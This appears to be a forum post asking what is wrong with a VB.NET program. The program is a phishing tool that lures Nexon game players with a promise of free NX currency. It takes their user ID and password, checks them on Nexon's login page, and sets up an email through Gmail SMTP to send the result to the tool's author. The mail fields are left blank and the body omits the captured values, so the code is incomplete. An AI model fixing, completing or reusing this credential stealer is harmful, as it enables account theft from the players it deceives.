wat did i do wrong?

Imports System.Net.Mail
Imports System.Net
Imports System.Threading

Public Class Form1
    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
        Me.WebBrowser1.Navigate("http://www.nexon.net/login/")
        Me.WebBrowser1.ScriptErrorsSuppressed = True
    End Sub
    Public Sub NexonCheck()
        Me.WebBrowser1.Document.GetElementById("userID").SetAttribute("Value", TextBox1.Text)
        Me.WebBrowser1.Document.GetElementById("password").SetAttribute("Value", TextBox2.Text)
        Me.WebBrowser1.Document.GetElementById("gnt_login_submit").InvokeMember("Click")
    End Sub
    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
        Me.NexonCheck()
        If (Me.WebBrowser1.DocumentText.Contains("Desktop Games")) Then
            Dim smtpClient As SmtpClient = New SmtpClient()
            Dim mailMessage As Net.Mail.MailMessage = New MailMessage()
            smtpClient.Credentials = New NetworkCredential("", "")
            smtpClient.Port = 587
            smtpClient.Host = "smtp.gmail.com"
            smtpClient.EnableSsl = True
            mailMessage = New MailMessage()
            mailMessage.From = New MailAddress("")
            mailMessage.To.Add("")
            mailMessage.Subject = ""
            mailMessage.Body = String.Concat(New String() {"Nexon ID: "})
            smtpClient.Send(mailMessage)
            Interaction.MsgBox("Please Wait 2 Hour(s) For Your NX!", MsgBoxStyle.OkOnly, Nothing)
            MyBase.Close()
        Else
            Interaction.MsgBox("Error 01 - Invalid Account Information!", MsgBoxStyle.Critical, Nothing)
        End If
    End Sub
End Class